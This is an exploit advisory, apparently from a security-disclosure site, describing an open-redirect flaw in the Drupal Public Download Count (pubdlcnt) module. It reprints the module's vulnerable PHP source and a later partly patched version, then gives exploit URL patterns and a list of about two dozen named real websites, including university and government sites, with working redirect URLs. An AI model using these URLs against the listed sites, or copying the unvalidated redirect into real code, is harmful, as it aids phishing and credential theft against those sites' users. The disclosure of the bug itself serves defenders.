Drupal Pubdlcnt Modules 7.x-1.2 Public Download Count Open Redirection

2019.02.21
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-601

############################################################################ # Exploit Title : Drupal Pubdlcnt Modules 7.x-1.2 Public Download Count Open Redirection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 20/02/2019 # Vendor Homepage : drupal.org # Software Download Links : ftp.drupal.org/files/projects/pubdlcnt-7.x-1.3.tar.gz ftp.drupal.org/files/projects/pubdlcnt-6.x-1.x-dev.zip ftp.drupal.org/files/projects/pubdlcnt-7.x-1.x-dev.zip ftp.drupal.org/files/projects/pubdlcnt-7.x-1.1.zip ftp.drupal.org/files/projects/pubdlcnt-7.x-1.2.zip drupal.org/project/pubdlcnt/releases # Software Information Link : drupal.org/project/pubdlcnt # Software Affected Versions : 8.x-1.x-dev - 6.x-1.x-dev - 7.x-1.x-dev - 7.x-1.1 - 7.x-1.2 - 7.x-1.3 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : High # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ############################################################################ # Description about Software : *************************** Public Download Count keeps track of file download counts. Key Features => It is designed to work under the Drupal's public file system. It can count the download of the file on external servers. You can specify valid extensions of the target files. You can see the yearly, monthly and daily download count for each file. You can export the download count data as a CSV file. It does not modify the original contents. It works with the downloadable files listed in Views tables and lists. You can create multiple blocks to show top download of specified period. ############################################################################ # Impact and Consequences : ************************** This web application Drupal Pubdlcnt Modules 7.x-1.3 Public Download Count [ and other versions ] accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance. ############################################################################ Example Vulnerable Source Code 2 : [ Version 6.x-1.x-dev and 7.x-1.2 other versions, too] ***************************************************************************** <?php // $Id: /** * @file * * file download external script * * @ingroup pubdlcnt * * Usage: pubdlcnt.php?file=http://server/path/file.ext * * Requirement: PHP5 - get_headers() function is used * (The script works fine with PHP4 but better with PHP5) * * NOTE: we can not use variable_get() function from this external PHP program * since variable_get() depends on Drupal's internal global variable. * So we need to directly access {variable} table of the Drupal databse * to obtain some module settings. * * Copyright 2009 Hideki Ito <hide@pixture.com> Pixture Inc. * Distributed under the GPL Licence. */ /** * Step-1: start Drupal's bootstrap to use drupal database * and includes necessary drupal files */ $current_dir = getcwd(); // we need to change the current directory to the (drupal-root) directory // in order to include some necessary files. if (file_exists('../../../../includes/bootstrap.inc')) { // If this script is in the (drupal-root)/sites/(site)/modules/pubdlcnt directory chdir('../../../../'); // go to drupal root } else if (file_exists('../../includes/bootstrap.inc')) { // If this script is in the (drupal-root)/modules/pubdlcnt directory chdir('../../'); // go to drupal root } else { // Non standard location: you need to edit the line below so that chdir() // command change the directory to the drupal root directory of your server // using an absolute path. // First, please delete the line below and then edit the next line print "Error: Public Download Count module failed to work. The file pubdlcnt.php requires manual editing.\n"; chdir('/absolute-path-to-drupal-root/'); // <---- edit this line! if (!file_exits('./includes/bootstrap.inc')) { // We can not locate the bootstrap.inc file, let's give up using the // script and just fetch the file header('Location: ' . $_GET['file']); exit; } } include_once './includes/bootstrap.inc'; // following two lines are needed for check_url() and valid_url() call include_once './includes/common.inc'; include_once './modules/filter/filter.module'; // start Drupal bootstrap for accessing database drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE); chdir($current_dir); /** * Step-2: get file query value (URL of the actual file to be downloaded) */ $url = check_url($_GET['file']); $nid = check_url($_GET['nid']); if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL // if the URL is relative, then convert it to absolute $url = "http://" . $_SERVER['SERVER_NAME'] . $url; } /** * Step-3: check if the url is valid or not */ if (is_valid_file_url($url)) { /** * Step-4: update counter data (only if the URL is valid and file exists) */ $filename = basename($url); pubdlcnt_update_counter($filename, $nid); } /** * Step-5: redirect to the original URL of the file */ header('Location: ' . $url); exit; /** * Function to check if the specified file URL is valid or not */ function is_valid_file_url($url) { // replace space characters in the URL with '%20' to support file name // with space characters $url = preg_replace('/\s/', '%20', $url); if (!valid_url($url, true)) { return false; } // URL end with slach (/) and no file name if (preg_match('/\/$/', $url)) { return false; } // in case of FTP, we just return TRUE (the file exists) if (preg_match('/ftps?:\/\/.*/i', $url)) { return true; } // extract file name and extention $filename = basename($url); $extension = explode(".", $filename); // file name does not have extension if (($num = count($extension)) <= 1) { return false; } $ext = $extension[$num - 1]; // get valid extensions settings from Drupal $result = db_query("SELECT value FROM {variable} WHERE name = 'pubdlcnt_valid_extensions'"); $valid_extensions = unserialize(db_result($result)); if (!empty($valid_extensions)) { // check if the extension is a valid extension or not (case insensitive) $s_valid_extensions = strtolower($valid_extensions); $s_ext = strtolower($ext); $s_valid_ext_array = explode(" ", $s_valid_extensions); if (!in_array($s_ext, $s_valid_ext_array)) { return false; } } if (!url_exists($url)) { return false; } return true; // it seems that the file URL is valid } /** * Function to check if the specified file URL really exists or not */ function url_exists($url) { $a_url = parse_url($url); if (!isset($a_url['port'])) $a_url['port'] = 80; $errno = 0; $errstr = ''; $timeout = 30; if (isset($a_url['host']) && $a_url['host'] != gethostbyname($a_url['host'])) { $fid = @fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout); if (!$fid) return false; $page = isset($a_url['path']) ? $a_url['path'] : ''; $page .= isset($a_url['query']) ? '?' . $a_url['query'] : ''; fputs($fid, 'HEAD ' . $page . ' HTTP/1.0' . "\r\n" . 'HOST: ' . $a_url['host'] . "\r\n\r\n"); $head = fread($fid, 4096); $head = substr($head, 0, strpos($head, 'Connection: close')); fclose($fid); // Here are popular status code back from the server // // URL exits 'HTTP/1.1 200 OK' // URL exits (but redirected) 'HTTP/1.1 302 Found' // URL does not exits 'HTTP/1.1 404 Not Found' // Can not access URL 'HTTP/1.1 403 Forbidden' // Can not access server 'HTTP/1.1 500 Internal Server Error // // So we return true only when status 200 or 302 if (preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head)) { return $pos !== false; } } return false; } /** * Function to update the data base with new counter value */ function pubdlcnt_update_counter($name, $nid) { $count = 1; $name = db_escape_string($name); // security purpose if (empty($nid)) { // node nid is invalid return; } // today(00:00:00AM) in Unix time $today = mktime(0, 0, 0, date("m"), date("d"), date("Y")); // convert to datettime format $mysqldate = date("Y-m-d H:i:s", $today); $result = db_query("SELECT * FROM {pubdlcnt} WHERE name='%s' AND date='%s'", $name, $mysqldate); if ($rec = db_fetch_object($result)) { $count = $rec->count + 1; // update an existing record db_query("UPDATE {pubdlcnt} SET count=%d WHERE name='%s' AND date='%s'", $count, $name, $mysqldate); } else { // insert a new record db_query("INSERT INTO {pubdlcnt} (name, nid, date, count) VALUES ('%s', %d, '%s', %d)", $name, $nid, $mysqldate, $count); } } ?> ############################################################################ # Another Vulnerable Source Code => [ pubdlcnt.php ] => Version 7.x-1.3 **************************************************************** <?php /** * @file * File download external script. * * @ingroup pubdlcnt * * Usage: pubdlcnt.php?fid={file_id} * * NOTE: we can not use variable_get() function from this external PHP program * since variable_get() depends on Drupal's internal global variable. * So we need to directly access {variable} table of the Drupal databse * to obtain some module settings. * * Copyright 2016 Corey Halpin <chalpin@scout.wisc.edu> * Copyright 2009 Hideki Ito <hide@pixture.com> Pixture Inc. * See LICENSE.txt for licensing terms. */ // Step-1: start Drupal's bootstrap to use drupal database // and includes necessary drupal files: $current_dir = getcwd(); // We need to change the current directory to the (drupal-root) directory // in order to include some necessary files. if (file_exists('../../../../includes/bootstrap.inc')) { // If this script is in the (drupal-root)/sites/(site)/modules/pubdlcnt // directory, go to drupal root: chdir('../../../../'); } elseif (file_exists('../../includes/bootstrap.inc')) { // If this script is in the (drupal-root)/modules/pubdlcnt directory, // go to drupal root: chdir('../../'); } else { // Non standard location: you need to edit the line below so that chdir() // command change the directory to the drupal root directory of your server // using an absolute path. // First, please delete the line below and then edit the next line. print "Error: Public Download Count module failed to work. The file pubdlcnt.php requires manual editing.\n"; chdir('/absolute-path-to-drupal-root/'); if (!file_exists('./includes/bootstrap.inc')) { exit; } } define('DRUPAL_ROOT', realpath(getcwd())); include_once DRUPAL_ROOT . '/includes/bootstrap.inc'; // Following two lines are needed for check_url() and valid_url() call: include_once DRUPAL_ROOT . '/includes/common.inc'; include_once DRUPAL_ROOT . '/modules/filter/filter.module'; // Start Drupal bootstrap for accessing database: drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE); chdir($current_dir); // Step 2: Get file query value (fid of the file todownload) if (!isset($_GET["fid"])) { header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request"); print "<pre>ERROR: no file specified for donwload.</pre>"; exit; } // Check that the fid given is valid: $rec = db_query( "SELECT * FROM {pubdlcnt} WHERE fid=:fid", [':fid' => $_GET["fid"]] )->fetchObject(); if ($rec === FALSE) { header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request"); print "<pre>ERROR: invalid fid provided.</pre>"; exit; } $url = $rec->url; $nid = $rec->nid; // Is this an absolute url? if (!preg_match("%^(f|ht)tps?://.*%i", $url)) { // If the URL is relative, then convert it to absolute: $url = "http://" . $_SERVER['SERVER_NAME'] . $url; } // Step 3: Check that the URL is valid: if (!pubdlcnt_is_valid_file_url($url)) { header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request"); print "<pre>ERROR: Invalid download url.</pre>"; exit; } // Step 4: If this is an external link and referer is also external, refuse to // redirect to prevent an open redirect vulnerability. $tgt_domain = parse_url($url, PHP_URL_HOST); $referer = isset($_SERVER["HTTP_REFERER"]) ? parse_url($_SERVER["HTTP_REFERER"], PHP_URL_HOST) : FALSE; if ($tgt_domain != $_SERVER['SERVER_NAME'] && $referer != $_SERVER['SERVER_NAME']) { header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request"); print "<pre>Refusing to redirect to external site.</pre>"; exit; } // Step 5: At this point, request must be valid. Update counter data. pubdlcnt_update_counter($rec->fid); // Step 6: redirect to the original URL of the file: header('Cache-Control: max-age=0'); header('Location: ' . $url); /** * Function to check if the specified file URL is valid or not. * * @param string $url * Url to check. * * @return bool * TRUE for valid files, FALSE otherwise. */ function pubdlcnt_is_valid_file_url(string $url) { // Replace space characters in the URL with '%20' to support file name // with space characters: $url = preg_replace('/\s/', '%20', $url); if (!valid_url($url, TRUE)) { return FALSE; } // URL end with slach (/) and no file name: if (preg_match('/\/$/', $url)) { return FALSE; } // In case of FTP, we just return TRUE (the file exists): if (preg_match('/ftps?:\/\/.*/i', $url)) { return TRUE; } // Extract file name and extension: $filename = basename($url); $extension = explode(".", $filename); // File name does not have extension: if (($num = count($extension)) <= 1) { return FALSE; } $ext = $extension[$num - 1]; // Get valid extensions settings from Drupal: $result = db_query("SELECT value FROM {variable} WHERE name = :name", array(':name' => 'pubdlcnt_valid_extensions'))->fetchField(); $valid_extensions = unserialize($result); if (!empty($valid_extensions)) { // Check if the extension is a valid extension or not (case insensitive): $s_valid_extensions = strtolower($valid_extensions); $s_ext = strtolower($ext); $s_valid_ext_array = explode(" ", $s_valid_extensions); if (!in_array($s_ext, $s_valid_ext_array)) { return FALSE; } } // Check if url exists: $result = drupal_http_request($url, array("method" => "HEAD")); if ($result->code != 200) { return FALSE; } // It seems that the file URL is valid: return TRUE; } /** * Function to check duplicate download from the same IP address within a day. * * @param int $fid * Id of file being downloaded. * * @return int * 0 - OK, 1 - duplicate (skip counting) */ function pubdlcnt_check_duplicate(int $fid) { // Get the settings: $result = db_query("SELECT value FROM {variable} WHERE name = :name", array(':name' => 'pubdlcnt_skip_duplicate'))->fetchField(); $skip_duplicate = unserialize($result); if (!$skip_duplicate) { return 0; } // OK, we should check the duplicate download: $ip = filter_var(ip_address(), FILTER_VALIDATE_IP); if ($ip === FALSE) { // Invalid IPv4 address: return 1; } // Unix timestamp: $today = mktime(0, 0, 0, date("m"), date("d"), date("Y")); $result = db_query( "SELECT * FROM {pubdlcnt_ip} WHERE fid=:fid AND ip=:ip AND utime=:utime", [ ':fid' => $fid, ':ip' => $ip, ':utime' => $today, ]); if ($result->rowCount()) { // Found duplicate! return 1; } // Add IP address to the database: db_insert('pubdlcnt_ip') ->fields([ 'fid' => $fid, 'ip' => $ip, 'utime' => $today, ])->execute(); return 0; } /** * Function to update the data base with new counter value. * * @param int $fid * Id of file being downloaded. */ function pubdlcnt_update_counter(int $fid) { // Check the duplicate download from the same IP and skip updating counter: if (pubdlcnt_check_duplicate($fid)) { return; } db_update('pubdlcnt') ->expression('count', 'count + 1') ->condition('fid', $fid) ->execute(); // Get the settings: $result = db_query( "SELECT value FROM {variable} WHERE name=:name", [':name' => 'pubdlcnt_save_history'] )->fetchField(); $save_history = unserialize($result); if ($save_history) { $today = mktime(0, 0, 0, date("m"), date("d"), date("Y")); db_merge('pubdlcnt_history') ->key(['fid' => $fid, 'utime' => $today]) ->fields(['count' => 1]) ->expression('count', 'count + 1') ->execute(); } } ############################################################################ Another Vulnerable Source Code 2 : ******************************* $url = check_url($_GET['file']); $nid = check_url($_GET['nid']); if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL // if the URL is relative, then convert it to absolute $url = "http://" . $_SERVER['SERVER_NAME'] . $url; } if (is_valid_file_url($url)) { $filename = basename($url); pubdlcnt_update_counter($url, $filename, $nid); header('Location: ' . $url); exit; ############################################################################ # Open Redirection Exploit : ************************** Usage: pubdlcnt.php?fid={file_id} Usage: pubdlcnt.php?file=http://server/ /web/modules/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/ /sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/ /sites/all/modules/patched/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/ /sites/all/modules/contributed/other/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/ ############################################################################ # Example Vulnerable Sites => ************************** [+] cervantesobservatorio.fas.harvard.edu/sites/all/modules/contrib/pubdlcnt/pubdlcnt.php?file=https://www.cyberizm.org/ [+] brylinski.cct.lsu.edu/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] stats.gov.sa/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://packetstormsecurity.com/ [+] northcarolina.edu/sites/all/modules/pubdlcnt/pubdlcnt.php?file=http://www.exploit4arab.org/ [+] cedarcreek.umn.edu/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] budget.go.ug/budget/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] gobiernoabierto.navarra.es/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] advancedconnect.co.uk/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] discovere.camelliadigital.com/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] phmsociety.org/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] sigport.org/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] infontd.org/sites/all/modules/patched/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] leprosy-information.org/sites/all/modules/patched/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] adimen.si.ehu.eus/web/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] cies.org.pe/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] swov.eu/sites/all/modules/contributed/other/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] sgeieg.fr/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] nationalhealth.or.th/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] planetek.it/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] coraltriangleinitiative.org/sites/all/modules/contrib/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] beinenu.com/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] nha2008.samatcha.org/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] suchon.org/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ [+] beziehungsraeume.de/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://cxsecurity.com/ #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top